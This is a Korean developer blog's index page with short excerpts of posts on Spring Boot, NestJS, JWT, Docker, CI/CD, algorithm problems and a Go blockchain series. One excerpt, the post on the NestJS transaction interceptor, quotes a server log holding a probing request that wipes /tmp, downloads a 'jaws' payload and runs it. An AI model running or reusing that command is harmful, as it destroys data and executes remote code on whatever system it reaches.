hou27의 등록된 링크

 hou27로 등록된 티스토리 포스트 수는 49건입니다.

Docker timezone 설정하기 [내부링크]

프로젝트를 진행하면서 aws ec2에 띄워둔 docker container에서 로그를 요일별로 정리하여 파일로 저장하고 있었다. 근데 로그에 표시할 시간은 적절한 조치를 통해 한국 시간으로 표시하고 있었지만, docker container 자체의 timezone이 UTC+0으로 설정되어 있었기 때문에 한국 시간을 기준으로 00시부터 새로운 로그파일이 생성되지 않는 문제가 있었다. 그래서 docker container의 timezone 자체를 Asia/Seoul로 설정하고자 한다. Dockerfile의 설정을 통해서도 timezone을 지정해줄 수 있지만 현재 필자의 프로젝트는 EC2에 docker-compose를 통해 API 서버 & PostgreSQL 서버 & Redis 서버 로 배포되고 있었기 때문에..

github action을 통한 ci cd 자동화(feat. shell script) [내부링크]

프로젝트를 진행하면서 CI / CD의 자동화 필요성을 절실하게 느끼게 되었다. 다른 것도 많았지만 기본적으로 github를 사용하고 있다보니 자연스레 github action을 사용해보자라고 생각했던 것 같다. 여기서 CI / CD 란 무엇일까? 필자가 자동화의 필요성을 절실하게 느낀 것처럼 매번 개발자가 코드를 수정하고 직접 빌드 및 테스트를 하고 배포까지 하게 된다면 그 시간 비용은 엄청날 것이다. 때문에 CI / CD의 개념을 알고 도입하는 것이 필요하다. CI : 빌드와 테스트를 자동화하는 것 지속적 통합(Continuous Integration) CD : 배포 과정을 자동화하는 것 지속적 서비스 제공(Continuous Delivery) or 지속적 배포(Continuous Deployment)..

Baekjoon[JAVA] - 2529번 부등호(백트래킹) [내부링크]

https://www.acmicpc.net/problem/2529 2529번: 부등호 두 종류의 부등호 기호 ‘’가 k개 나열된 순서열 A가 있다. 우리는 이 부등호 기호 앞뒤에 서로 다른 한 자릿수 숫자를 넣어서 모든 부등호 관계를 만족시키려고 한다. 예를 들어, 제시 www.acmicpc.net 문제 두 종류의 부등호 기호 ‘’가 k개 나열된 순서열 A가 있다. 우리는 이 부등호 기호 앞뒤에 서로 다른 한 자릿수 숫자를 넣어서 모든 부등호 관계를 만족시키려고 한다. 예를 들어, 제시된 부등호 순서열 A가 다음과 같다고 하자. A ⇒ < < < > < < > < > 부등호 기호 앞뒤에 넣을 수 있는 숫자는 0부터 9까지의 정수이며 선택된 숫자는 모두 달라야 한다. 아래는 부등호 순서열 A를 만족시키는 ..

Baekjoon[JAVA] - 10819번 차이를 최대로(DFS) [내부링크]

https://www.acmicpc.net/problem/10819 10819번: 차이를 최대로 첫째 줄에 N (3 ≤ N ≤ 8)이 주어진다. 둘째 줄에는 배열 A에 들어있는 정수가 주어진다. 배열에 들어있는 정수는 -100보다 크거나 같고, 100보다 작거나 같다. www.acmicpc.net 문제 N개의 정수로 이루어진 배열 A가 주어진다. 이때, 배열에 들어있는 정수의 순서를 적절히 바꿔서 다음 식의 최댓값을 구하는 프로그램을 작성하시오. |A[0] - A[1]| + |A[1] - A[2]| + ... + |A[N-2] - A[N-1]| 입력 첫째 줄에 N (3 ≤ N ≤ 8)이 주어진다. 둘째 줄에는 배열 A에 들어있는 정수가 주어진다. 배열에 들어있는 정수는 -100보다 크거나 같고, 100보..

[Spring boot] Swagger로 API 문서화하기 [내부링크]

목차 swagger란? springdoc과 springfox spring boot에 적용하기 결론 Swagger란? https://swagger.io/ API Documentation & Design Tools for Teams | Swagger swagger.io Swagger는 OpenAPI Specification(OAS)의 구현을 위한 라이브러리이다. API의 사양을 명세하고 문서화하여 관리할 수 있도록 도와준다. 여기서 OpenAPI Specification(OAS)란, What is the OpenAPI Specification? The OpenAPI Specification (OAS) defines a standard, programming language-agnostic interface ..

[Spring Boot] Redis와 함께 Refresh Token 구현하기 [내부링크]

https://hou27.tistory.com/entry/Spring-Security-JWT Spring Security - JWT 이번에는 지난번 세션 인증을 적용한 포스트에 이어서 JWT를 이용한 로그인을 구현해보도록 하겠다. 지난 포스트 https://hou27.tistory.com/entry/Spring-Security-%EC%84%B8%EC%85%98-%EC%9D%B8%EC%A6%9D Spring.. hou27.tistory.com 이번엔 위 포스트에서 진행한 것에 약간의 수정과 추가를 통해 Spring Security + JWT + Spring Data Redis 의 조합을 완성해보도록 하겠다. 진행 순서 Redis 설치 Spring Boot 프로젝트에 Redis 적용 실습을 통한 동작 확인 ..

Spring Security - JWT [내부링크]

이번에는 지난번 세션 인증을 적용한 포스트에 이어서 JWT를 이용한 로그인을 구현해보도록 하겠다. 지난 포스트 https://hou27.tistory.com/entry/Spring-Security-%EC%84%B8%EC%85%98-%EC%9D%B8%EC%A6%9D Spring Security - 세션 인증 지난번에 Spring Security를 적용했었는데, Spring Security 적용하기 [Spring Boot] Spring Security 적용하기 - 암호화 프로젝트를 진행하면서 사용자 시스템을 구축한다면 필연적으로 인증 로직도 구현해야한 hou27.tistory.com 이번 포스트는 https://github.com/murraco/spring-boot-jwt GitHub - murraco/sp..

Spring Security - 세션 인증 [내부링크]

지난번에 Spring Security를 적용했었는데, Spring Security 적용하기 [Spring Boot] Spring Security 적용하기 - 암호화 프로젝트를 진행하면서 사용자 시스템을 구축한다면 필연적으로 인증 로직도 구현해야한다. 이 과정에서 만약 사용자의 비밀번호를 평문(Plain Text)으로 저장한다면, 심각한 보안상 문제를 초래 hou27.tistory.com 이번엔 이어서 세션을 기반으로 한 로그인을 구현해보도록 하겠다. 가장 먼저 스프링 시큐리티의 설정을 마무리하고, 타임리프를 통해 간단한 페이지를 구현하여 테스트까지 해볼 예정이다. 우선 변경된 Spring Security 설정 파일의 모습이다. 참고로 이 포스트에서 다루는 Spring Security의 버전은 5.7.1...

Intellij 단축키 정복하기 [내부링크]

Intellij를 사용한 지 얼마 되지 않아 vscode를 사용할 때와 달리 자꾸 마우스에 손이 가서 흐름이 끊긴다는 느낌을 받고, 또 그 때문에 단축키를 찾느라 심심찮게 스트레스를 받았다. 그런데 조금 전, 구글링을 하다가 단축키를 알려주는 플러그인이 있다는 사실을 알게 되었다. Key Promoter X https://github.com/halirutan/IntelliJ-Key-Promoter-X GitHub - halirutan/IntelliJ-Key-Promoter-X: Modern IntelliJ plugin to learn shortcuts for buttons Modern IntelliJ plugin to learn shortcuts for buttons - GitHub - halirutan..

@RequestBody, @ModelAttribute 그리고 Argument Resolver [내부링크]

Spring을 공부하던 중 @ModelAttribute 와 @RequestBody 이 둘의 차이를 명확히 정리하지 못해 이렇게 해보고 저렇게 해보는 삽질 끝에 결국 깨닫게 되어 정리해두고자 한다. 기존 form data를 넘겨받아 유저의 회원가입을 진행하는 필자의 controller는 아래와 같았다. @RestController @RequestMapping("/user") @RequiredArgsConstructor public class UserController { private final UserService userService; @PostMapping("/signUp") public User signUp(@ModelAttribute @Validated UserSignUpRequest signUp..

[Spring Boot] Spring Security 적용하기 - 암호화 [내부링크]

프로젝트를 진행하면서 사용자 시스템을 구축한다면 필연적으로 인증 로직도 구현해야한다. 이 과정에서 만약 사용자의 비밀번호를 평문(Plain Text)으로 저장한다면, 심각한 보안상 문제를 초래하게 된다. 그렇기 때문에 반드시 암호화하여 관리해야만 한다. 암호화? 해싱? 해싱과 암호화 두 단어가 이런 류의 포스트에서 마구 등장해 헷갈릴 수 있다. 해싱(Hashing)과 암호화(Encryption) 모두 데이터의 보안을 위해 사용하는 것이지만, 가장 큰 차이점은 Hash는 단방향 암호화 기법이고 Encryption는 양방향 암호화 기법이라는 것이다. 때문에 비밀번호를 저장할 때는 행여나 탈취될 가능성을 염두에 두어 평문을 암호화하는 것은 가능하지만 다시 평문으로 복호화하는 것은 불가능한 단방향 암호화 방식을..

Singleton Pattern(싱글톤 패턴) [내부링크]

싱글톤 패턴이란 것을 Spring을 공부하면서 접했는데, 희미하게 머릿속에 떠다니는 것 같아 글로 정리하고자 한다. Singleton Pattern이란? 클래스의 인스턴스가 1개만 생성되는 것을 보장하는 디자인 패턴 어플리케이션이 시작될 때 어떤 클래스가 최초 1회만 메모리에 인스턴스를 생성하는 방식이다. 예제 기존 코드를 기반으로 한 Test 코드(spring X) @Test @DisplayName("Pure DI Container without Spring") void pureContainer() { AppConfig appConfig = new AppConfig(); // 호출 시마다 객체 생성됨. UserService userService1 = appConfig.userService(); User..

Dependency Injection(의존성 주입 - DI)란? [내부링크]

NestJS 공부할 때부터 접하던 개념인데 이번에 Spring을 공부하면서 제대로 짚고 넘어가야겠단 생각이 들었다. Dependency Injection 만약 A 객체가 B 객체의 변화에 영향을 받는다면 A는 B를 의존한다고 한다. 예를 들면 아래와 같다. public class UserService { private final UserRepository users = new MemoryUserRepository(); ... } 위의 UserService는 MemoryUserRepository를 의존한다고 할 수 있다. MemoryUserRepository가 변한다면, 결국 UserService도 변화하게 되는 것이다. 소프트웨어 엔지니어링에서 의존성 주입이란 하나의 객체가 다른 객체의 의존성을 제공하는..

Spring Bean 등록하기 - 2가지 방법 [내부링크]

Spring Bean 등록 1. 컴포넌트 스캔 원리 @Component annotation 이 있으면 스프링 빈으로 자동 등록됨. Component Scan 은 ComponentScan annotation 가 붙은 package의 하위 package 들을 대상으로 살핀다. (SpringBootApplication annotation 내부에 ComponentScan annotation 존재) 다음 annotation 들은 @Component annotation 가 등록되어있다. @Controller @Service @Repository 스프링은 spring container에 spring bean을 등록할 때, 기본으로 싱글톤으로 등록한다 따라서 같은 스프링 빈이면 모두 같은 인스턴스다. (설정으로 싱글톤..

Spring 프로젝트 실행 - with Intellij (from WSL) [내부링크]

이전 포스트에서 Spring 프로젝트를 생성하고 실행까지 해봤었는데, Spring Boot 프로젝트 생성하기(WSL) - Spring Initializr Spring Boot 프로젝트 생성하기(WSL) - Spring Initializr Spring Boot를 공부하기 위해 알아보던 중 프로젝트를 쉽게 시작할 수 있게 도와주는 도구가 있다는 것을 알게 되었다. Spring Initializr https://start.spring.io/ spring에서 제공하는 웹 도구인데, 원하는 설. hou27.tistory.com 생각보다 환경설정하는 과정에서 간단하게 마무리되지 않아 구글링하며 해결한 문제를 잊지 않기 위해 추가로 포스트를 작성하려 한다. 위 사진처럼 Intellij 우측 상단의 환경설정이 추가되지..

Spring Boot 프로젝트 생성하기(WSL) - Spring Initializr [내부링크]

Spring Boot를 공부하기 위해 알아보던 중 프로젝트를 쉽게 시작할 수 있게 도와주는 도구가 있다는 것을 알게 되었다. Spring Initializr https://start.spring.io/ spring에서 제공하는 웹 도구인데, 원하는 설정을 해준 후 GENERATE 버튼을 누르면 해당 설정으로 생성된 스프링 프로젝트 압축 파일을 받을 수 있다. 위와 같이 간단하게 gradle 프로젝트를 설정해주고, 압축파일을 다운받았다. 해당 파일을 압축해제한 후 wsl의 작업공간에 옮기고 사용할 IDE인 intellij로 열어주었다. wsl로 옮겨주었기 때문에 에러가 발생하는데, setting 창을 열어 WSL에 설치된 java를 선택해주었다. (추가로, Build and run using, Run te..

EDA ( Exploratory Data Analysis ) - 탐색적 데이터 분석 [내부링크]

데이터를 분석할 때 첫 단계로 대부분 탐색적 데이터 분석(EDA)을 하라고 한다. EDA 탐색적 데이터 분석(Exploratory Data Analysis) EDA는 탐색적 데이터 분석을 말한다. 이는 데이터 분석 과정에 대한 개념으로, 데이터를 분석하고 결과를 산출하는 과정에 있어서 여러 방면으로 해당 데이터에 대한 '탐색과 이해'를 기본으로 해야 한다는 것이다. 초기 Raw Data를 파악할 때부터 데이터를 잘 파악하고, 다각도로 분석해보며 유의미한 데이터를 만드는 것이 상당히 중요하다. 그렇게 데이터를 정확히 파악해야만 데이터를 통해 문제 해결을 할 수 있게 된다. 실습을 위해 https://www.kaggle.com/ Kaggle: Your Machine Learning and Data Scie..

Github Copilot 설정하기 [내부링크]

https://github.com/github/copilot-docs GitHub - github/copilot-docs: Documentation for GitHub Copilot Documentation for GitHub Copilot. Contribute to github/copilot-docs development by creating an account on GitHub. github.com 군 복무 중 깃허브의 copilot이란 것을 신청했던 것이 갑자기 기억나 waitlist를 확인해보니 이미 사용 가능한 상태였다. 그래서 바로 사용해보고자 한다. Copilot ? Github Copilot이란 Github와 OpenAI가 공동으로 개발한 인공지능 툴이다. 이 툴은 작성 중인 코드를 인공지..

NestJS - JWT을 사용한 사용자 인증 ( with graphql ) [내부링크]

NestJS를 사용한 백엔드에서 jwt 토큰으로 인증을 진행할 때 어떻게 구현해야할까? 지금부터 알아보도록 하겠다. 우선 구현에 앞서 몇몇 코드를 살펴보고 가자. Backend 서버는 graphql api를 사용하였으며, 공식문서를 참고하였습니다. https://docs.nestjs.com/security/authentication#implementing-passport-strategies Documentation | NestJS - A progressive Node.js framework Nest is a framework for building efficient, scalable Node.js server-side applications. It uses progressive JavaScript, is..

Refresh Token - JWT [내부링크]

사용자를 인증하는 부분은 거의 모든 서비스에서 가장 중요하다고 할 수 있을 정도로 핵심적인 부분이다. 사용자를 인증하는 방법 중 하나인 JWT 기법과 함께 refresh token라는 장치에 대해 알아보고 구현해보도록 하겠다. JWT JWT란, JSON Web Token의 약자로, 사용자 인증을 위해 사용하는 암호화된 토큰을 의미한다. 기본적으로 JWT는 ' . ' 으로 구분되어 header, payload, signature 3파트로 나뉜다. 11111111111.22222222222222.333333333333 예를 들면 위와 같은 형식인 것이다. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoienhjengiLCJzdWIiOjE4LCJpYXQiOjE2NDkwN..

address already in use 에러 해결하기 ( awk와 함께 ) [내부링크]

Node.js와 함께 작업하다보면 가끔 Error: listen EADDRINUSE: address already in use :::[Port] 이런 에러를 만날 때가 있다. 이는 비정상종료로 인해서 해당 포트가 점유되고 있어 사용할 수 없을 때 나타나는 에러이다. 평소 우리는 이 에러를 해결하기 위해 kill 명령어를 통해 해당 프로세스를 죽여서 해결하곤 했는데, 그 프로세스를 죽이기 위해선 PID 정보가 필요하다. 위와 같이 PID 정보를 확인해야 그제서야 kill -9 [PID] 를 통해 죽일 수 있었는데, 매번 그 과정이 너무 귀찮아서 생각하던 중 awk가 떠올랐다. awk awk란 pattern scanning and processing language이다. 파일의 각 열을 읽어 데이터를 원하는..

KakaoLink API(카카오로 링크 공유하기) in React [내부링크]

Kakao에서 제공하는 메시지 API는, 사용자가 카카오톡 친구에게 카카오톡 메시지를 보내는 기능을 제공한다. https://developers.kakao.com/docs/latest/ko/message/common Kakao Developers 카카오 API를 활용하여 다양한 어플리케이션을 개발해보세요. 카카오 로그인, 메시지 보내기, 친구 API, 인공지능 API 등을 제공합니다. developers.kakao.com 위 기능을 통해 서비스의 접근성을 높이고, 공유를 통해 쉽게 전파되는 효과를 예상했다. 메시지를 보내는 방법은 크게 2가지인데, 1. 카카오링크 API를 사용하는 방법 2. 카카오톡 메시지 API를 사용하는 방법 이렇게 2가지이다. 필자는 첫 번째 방법을 택했다. 그 이유는 위 표에서 ..

TypeORM - 버전 0.3 && ORM이란? [내부링크]

지금까지 typeORM 0.2.45 버전을 사용 중이었다. 최근 0.3.4까지 업데이트가 되며 확인을 해보았더니 정말 많은 변화가 있었다. https://github.com/typeorm/typeorm/blob/master/CHANGELOG.md GitHub - typeorm/typeorm: ORM for TypeScript and JavaScript (ES7, ES6, ES5). Supports MySQL, PostgreSQL, MariaDB, SQLite, MS SQL ORM for TypeScript and JavaScript (ES7, ES6, ES5). Supports MySQL, PostgreSQL, MariaDB, SQLite, MS SQL Server, Oracle, SAP Hana, We..

Custom repository(사용자 정의 레포지토리) - typeORM [내부링크]

데이터 베이스 작업 로직을 작성하던 중 내가 작성한 함수를 typeORM에 정의된 메서드처럼 사용할 수 있는 방법이 있다는 걸 알게 되었다. https://orkhan.gitbook.io/typeorm/docs/custom-repository Custom repositories - typeorm You can create a custom repository which should contain methods to work with your database. Usually custom repositories are created for a single entity and contains its specific queries. For example, let's say we want to have a meth..

카카오로 로그인하기 (JWT 토큰 발급, OAuth) [내부링크]

진행하고 있는 프로젝트에 접근성이 중요해서 카카오톡으로 로그인할 수 있도록 구현했었는데, 내가 짠 구조가 맞는지 의문이 들어 찾아보다가 OAuth+Spring Boot+JWT [OAuth + Spring Boot + JWT] 1. OAuth란? 프론트엔드와 백엔드의 역할 OAuth(Open Authorization)란? OAuth는 인증을 위한 프로토콜이다. 다른 인터넷 서비스의 기능을 다른 어플리케이션에서도 사용할 수 있게 해준다. OAuth는 인증(Authentication)과 인가(Authorization)를 모두 포함 velog.io 위 글을 보게 되어 구조를 수정하였다. 수정 전의 카카오 로그인 흐름은 아래와 같았다. 근데 https://developers.kakao.com/ Kakao Deve..

Netlify로 프론트엔드 배포하기 [내부링크]

이제 백엔드를 올려두었으니 프론트도 배포하여 마무리 짓도록 하겠다. 프론트엔드는 Netlify를 이용하여 배포하도록 하겠다. 알아보니 상당히 간단했는데, 글을 끝까지 읽어보면 여러분도 그렇게 생각할 것이다. 우선 github에 올려둔 나의 frontend 레포지토리를 import 해준다. 그전에 tailwind를 사용하였기 때문에 build명령어 이전에 실행될 prebuild 스크립트를 위와 같이 추가하였다. 배포를 진행할 branch를 선택해주고, 기다리면, 위와 같이 배포가 완료된다. 정말 간단해서 놀랐지만 역시 처음 하는 거라 그런지 에러를 발견하였다. root 페이지가 아닌 다른 곳에서 새로고침 시 Page Not Found에러가 발생하였는데, 이는 프론트엔드 프로젝트가 React로 작성되어 요청..

Heroku로 백엔드 배포하기 [내부링크]

어느 정도 프로젝트를 진행하다가 우선 배포를 한번 진행하면서 에러를 체크하고 싶다는 생각이 들었다. 그래서 바로 실행에 옮겼다. NestJS Documentation | NestJS - A progressive Node.js framework Nest is a framework for building efficient, scalable Node.js server-side applications. It uses progressive JavaScript, is built with TypeScript and combines elements of OOP (Object Oriented Progamming), FP (Functional Programming), and FRP (Functional Reac docs...

WSL2 - 정적 ip 할당하기 && NIC Bridge mode [내부링크]

필자는 Ubuntu 20.04 를 사용하고 있다. 계속해서 프로젝트를 진행하던 중 서버와 클라이언트를 연결하는데 자꾸 wsl의 ip가 변경되다 보니 거슬렸다. 물론 다른 해결방법도 있었지만 wsl의 ip를 정적으로 고정하고자 한다. Ubuntu 18.04 이전 버전들은 /etc/network/interfaces 를 통해 ip를 설정하곤 했었다. 필자가 사용하는 20.04 버전을 포함한 18.04 부터의 버전들은 /etc/netplan 위의 경로에 *.yaml 파일을 통해 설정한다. 파일의 이름은 중요하지 않으며, yaml파일로 작성한다. 파일의 내용은 아래와 같다. 정적으로 설정할 때는 반드시 dhcp를 no로 해주어야 한다. eth0 위치에는 현재 자신이 사용 중인 인터페이스를 기입해준다. 그 후, s..

Baekjoon[C언어] - 2751번 수 정렬하기 2(병합 정렬) [내부링크]

https://www.acmicpc.net/problem/2751 2751번: 수 정렬하기 2 첫째 줄에 수의 개수 N(1 ≤ N ≤ 1,000,000)이 주어진다. 둘째 줄부터 N개의 줄에는 수가 주어진다. 이 수는 절댓값이 1,000,000보다 작거나 같은 정수이다. 수는 중복되지 않는다. www.acmicpc.net 문제 N개의 수가 주어졌을 때, 이를 오름차순으로 정렬하는 프로그램을 작성하시오. 입력 첫째 줄에 수의 개수 N(1 ≤ N ≤ 1,000,000)이 주어진다. 둘째 줄부터 N개의 줄에는 수가 주어진다. 이 수는 절댓값이 1,000,000보다 작거나 같은 정수이다. 수는 중복되지 않는다. 출력 첫째 줄부터 N개의 줄에 오름차순으로 정렬한 결과를 한 줄에 하나씩 출력한다. 예제 입력 1 5..

Baekjoon[C언어] - 1033번 칵테일 [내부링크]

https://www.acmicpc.net/problem/1033 1033번: 칵테일 august14는 세상에서 가장 맛있는 칵테일이다. 이 칵테일을 만드는 정확한 방법은 아직 세상에 공개되지 않았지만, 들어가는 재료 N개는 공개되어 있다. 경근이는 인터넷 검색을 통해서 재료 쌍 N www.acmicpc.net 문제 august14는 세상에서 가장 맛있는 칵테일이다. 이 칵테일을 만드는 정확한 방법은 아직 세상에 공개되지 않았지만, 들어가는 재료 N개는 공개되어 있다. 경근이는 인터넷 검색을 통해서 재료 쌍 N-1개의 비율을 알아냈고, 이 비율을 이용해서 칵테일에 들어가는 전체 재료의 비율을 알아낼 수 있다. 총 재료 쌍 N-1개의 비율이 입력으로 주어진다. 이때, 칵테일을 만드는데 필요한 각 재료의 양..

Baekjoon[C언어] - 1013번 Contact [내부링크]

https://www.acmicpc.net/problem/1013 1013번: Contact 입력의 첫 줄에는 테스트 케이스의 개수 T가 주어진다. 그 다음 줄부터 각각의 테스트 케이스에 대해 전파를 표현하는, { 0, 1 }만으로 이루어진 문자열이 공백 없이 주어진다. 문자열 길이는 (1 ≤ www.acmicpc.net 문제 “무한히 넓은 저 우주에 인류만이 홀로 존재한다면, 그건 정말 슬픈 일이 아닐까요” 푸에르토리코 아레시보에 위치한 아레시보 전파망원경(Arecibo radio telescope)은 수십 년째 존재하지 않을 지도 모르는 외계 문명으로부터의 전파를 수신하기 위해 밤하늘을 바라보고 있다. 이 망원경이 수집한 전파 속에서 자연적으로 발생하기 힘든 패턴들을 찾아내어, 그것을 증거로 외계 문..

Baekjoon[C언어] - 23564번 재귀 문자열 [내부링크]

https://www.acmicpc.net/problem/23564 23564번: 재귀 문자열 $(c, \{7\}), (cc, \{1,3\}), (ccc, \{1,1,1\})$ 등이 모두 정답이다. www.acmicpc.net 문제 S와 A를 이용하여 T를 만드는 것은 쉬우니, 반대로 T가 주어졌을 때 T를 만들어내는 S와 A를 찾아보자. 입력 문자열 T가 주어진다. 출력 첫 번째 줄에 S를 출력한다. 두 번째 줄에 A를 공백으로 구분하여 출력한다. 정답이 여러 개인 경우 아무 거나 한 가지만 출력한다. 제한 T의 길이는 1 이상 1048576(2의 20승) 미만이고, 알파벳 소문자로만 구성되어 있다. 조건을 만족하는 S와 A가 존재하는 입력만이 주어진다. 예제 입력 1 ababacababa 예제 출력 ..

Baekjoon[C언어] - 2447번 별찍기 - 10 [내부링크]

https://www.acmicpc.net/problem/2447 2447번: 별 찍기 - 10 재귀적인 패턴으로 별을 찍어 보자. N이 3의 거듭제곱(3, 9, 27, ...)이라고 할 때, 크기 N의 패턴은 N×N 정사각형 모양이다. 크기 3의 패턴은 가운데에 공백이 있고, 가운데를 제외한 모든 칸에 별이 www.acmicpc.net 문제 재귀적인 패턴으로 별을 찍어 보자. N이 3의 거듭제곱(3, 9, 27, ...)이라고 할 때, 크기 N의 패턴은 N×N 정사각형 모양이다. 크기 3의 패턴은 가운데에 공백이 있고, 가운데를 제외한 모든 칸에 별이 하나씩 있는 패턴이다. *** * * *** N이 3보다 클 경우, 크기 N의 패턴은 공백으로 채워진 가운데의 (N/3)×(N/3) 정사각형을 크기 N/..

Baekjoon[C언어] - 2941번 크로아티아 알파벳 [내부링크]

https://www.acmicpc.net/problem/2941 2941번: 크로아티아 알파벳 예전에는 운영체제에서 크로아티아 알파벳을 입력할 수가 없었다. 따라서, 다음과 같이 크로아티아 알파벳을 변경해서 입력했다. 크로아티아 알파벳 변경 č c= ć c- dž dz= đ d- lj lj nj nj š s= ž z= www.acmicpc.net 오랜만에 백준을 풀다가 포스팅이 하고 싶어 졌다. 우선 문제를 살펴보겠다. 문제 예전에는 운영체제에서 크로아티아 알파벳을 입력할 수가 없었다. 따라서, 다음과 같이 크로아티아 알파벳을 변경해서 입력했다. 크로아티아 알파벳 변경 č c= ć c- dž dz= đ d- lj lj nj nj š s= ž z= 예를 들어, ljes=njak은 크로아티아 알파벳 6개(..

Linux alias(별칭 지정) 명령어 영구 등록 [내부링크]

리눅스로 작업하면서 항상 같은 디렉토리로 들어가기도 하고 반복적으로 치는 명령어가 많아서 alias 명령어를 활용하여 효율적으로 작업하고자 한다. 리눅스에는 기본적으로 별칭을 지정할 수 있는 alias라는 명령어가 존재한다. $ alias --help alias: alias [-p] [name[=value] ... ] Define or display aliases. Without arguments, `alias' prints the list of aliases in the reusable form `alias NAME=VALUE' on standard output. Otherwise, an alias is defined for each NAME whose VALUE is given. A trailing ..

하나의 EC2 안에 테스트 서버까지 구축하기 feat. AWS [내부링크]

release branch에서 master로 병합 전, 즉 실 배포 전에 배포하고 확인할 수 있는 서버가 필요하다고 느껴 테스트 서버를 구축하게 되었다. 기존의 서버 구성은 위와 같았다. docker-compose를 활용하여 api server, postgreSQL, Redis 총 3개의 컨테이너를 묶어서 EC2에 올려 관리하고 있었다. 초반엔 단순하게 인스턴스 하나를 늘려야겠다고 생각했지만, 서버 비용이 2배가 된다는 생각에 아찔해져 지금 올려둔 EC2에 테스트 서버를 함께 올리기로 결심했다. 시도 1 우선 docker compose로 묶어뒀던 구성에서 api server를 분리하고, ec2 보안 그룹에 test server를 위한 인바운드 규칙을 추가하고 Application Load Balancer..

TypeORM - findOne with undefined [내부링크]

프로젝트를 진행하던 중, 갑자기 다른 사용자의 계정으로 로그인된다는 이슈가 제보됐다. 그럴 수도 없고, 그래서도 안되고, 믿기지 않았지만 제보해주신 분이 보내온 캡처를 확인하니 분명 내 계정으로 로그인된 모습이었다. 다행히도 많은 도움을 주신 덕에 금방 원인을 파악할 수 있었다. 현재 필자의 프로젝트는 카카오 로그인을 지원하고 있다. 아직 비즈 앱으로 등록하지 않아서 EMAIL을 필수 동의 항목으로 설정할 수 없어서 선택사항으로 두었었는데, 제보해주신 분이 최초로 카카오 로그인을 시도할 때 이메일 제공에 동의하지 않았고, 그 탓에 이메일로 사용자 식별을 하고 있는 우리 서버가 undefined 값을 기준으로 사용자를 찾았더니 내 계정이 찾아진 것이었다. ..? 여기까지 읽고 무슨 소린지 모르겠다면 정상이..

NestJS - Transaction Interceptor 적용하기 [내부링크]

진행 순서 문제 당면 해결 과정 근본적인 문제 개선 방법 - AOP Interceptor 구현 및 적용 본 포스트는 NestJS + TypeORM 환경에서 진행됩니다. 프로젝트를 진행하면서 어느 순간부터 자꾸만 504 Gateway Timeout Error 때문에 서버가 죽어버리는 현상이 발생했다. 그래서 서버 로그를 확인해보면 이런 로그 또는 {"level":"error","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws","name":"NotFoundException","response":{"error":"Not Found","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget..

Baekjoon[JAVA] - 16637번 괄호 추가하기 [내부링크]

https://www.acmicpc.net/problem/16637 16637번: 괄호 추가하기 길이가 N인 수식이 있다. 수식은 0보다 크거나 같고, 9보다 작거나 같은 정수와 연산자(+, -, ×)로 이루어져 있다. 연산자 우선순위는 모두 동일하기 때문에, 수식을 계산할 때는 왼쪽에서부터 순 www.acmicpc.net 문제 길이가 N인 수식이 있다. 수식은 0보다 크거나 같고, 9보다 작거나 같은 정수와 연산자(+, -, ×)로 이루어져 있다. 연산자 우선순위는 모두 동일하기 때문에, 수식을 계산할 때는 왼쪽에서부터 순서대로 계산해야 한다. 예를 들어, 3+8×7-9×2의 결과는 136이다. 수식에 괄호를 추가하면, 괄호 안에 들어있는 식은 먼저 계산해야 한다. 단, 괄호 안에는 연산자가 하나만 들..

Go로 만드는 블록체인 part 8 - Network [내부링크]

현재 구현하고 있는 암호화폐는 기본적으로 분산 네트워크에서 각각의 참여자들이 원장을 공유하며, 거래의 데이터를 합의를 통해 관리하는 탈중앙화 기술이다. 하나의 데이터베이스에 데이터를 저장하던 기존의 구조와 다르게 분산한 것이 가장 큰 특징이다. 이는 P2P 네트워크와 블록체인에 기초하며 분산 원장 기술을 사용한다. 분산 원장이란, 여러 사람이 액세스 할 수 있는 사이트 및 지역 등에서 합의하여 공유 및 동기화되는 데이터베이스를 뜻한다. 중앙화 되어있는 데이터베이스와 달리 탈중앙화 된 원장은 본질적으로 보안적 측면에서 더 안전하며, 합의 알고리즘을 통하여 데이터의 위변조를 방지한다. P2P 네트워크 P2P 네트워크란 무엇일까? P2P는 Peer to Peer를 뜻하는데, 여기서 Peer란 동등/대등한 지위..

Go로 만드는 블록체인 part 5 - Wallet [내부링크]

지금까지는 사용자를 특정 짓는 데에 단순한 문자열을 사용하였지만 이제는 지갑을 사용해보도록 하겠다. Bitcoin에의 지갑이란 무엇일까? A Bitcoin address is a 160-bit hash of the public portion of a public/private ECDSA keypair. Using public-key cryptography, you can "sign" data with your private key and anyone who knows your public key can verify that the signature is valid. 거래를 위해서는 사용자를 식별할 수 고유한 무언가가 필요하다. 은행의 경우 계좌번호로 생각해도 무방하다. 추가로 자신의 코인을 사용하기 위해..

Go로 만드는 블록체인 part 4 - Transactions [내부링크]

이제 가장 중요한 부분이라 할 수 있는 Transaction을 구현할 것이다. 블록체인이란 무엇이었는지 다시 한번 살펴보겠다. 블록체인(Blockchain)이란 데이터 분산 저장 기술의 일종으로 관리 대상의 데이터를 block 단위로 P2P(peer to peer) 방식을 기반으로 chain 형태로 연결하여 저장하는 기술이다. 저장된 데이터는 모든 참여 노드에 기록되며 운영자에 의한 임의 조작이 불가능하다. 그렇다면 여기서 관리 대상의 데이터란 무엇일까? 비트코인에서는 블록 내에 거래 내역을 담아 서명하고 처리하여 관리하는데, 이러한 외부 거래를 기록하기 위해 컴퓨터 시스템 내에서 처리하는 과정에서 전송되는 데이터가 있다. 바로 Transaction이다. (암호화폐 상에서의 트랜잭션은 코인을 송금하는 거..

Go로 만드는 블록체인 part 3 - Persistence [내부링크]

지금까지는 블록을 생성해도 매번 실행 시마다 코드 상의 변수에 블록들을 저장했기 때문에 프로그램 실행 중에만 데이터들이 유효했다가 종료 시에 전부 사라졌었다. 그래서 이번에는 데이터베이스를 활용하여 '영속성'을 부여해줄 것이다. 그렇다면 어떤 DB를 사용해야 할까? 구글에 열심히 찾아보았지만 bitcoin이 어떤 DB를 사용하는지 찾을 수 없었다.(일단 나는..) 그래서 Jeiwan이란 분이 사용하신 bolt란 db를 나도 사용하도록 하기로 했다. Jeiwan의 설명에 따르면 이유는 아래와 같다. 1. It’s simple and minimalistic. 2. It’s implemented in Go. 3. It doesn’t require to run a server. 4. It allows to bu..

Go로 만드는 블록체인 part 7 - Merkle Tree [내부링크]

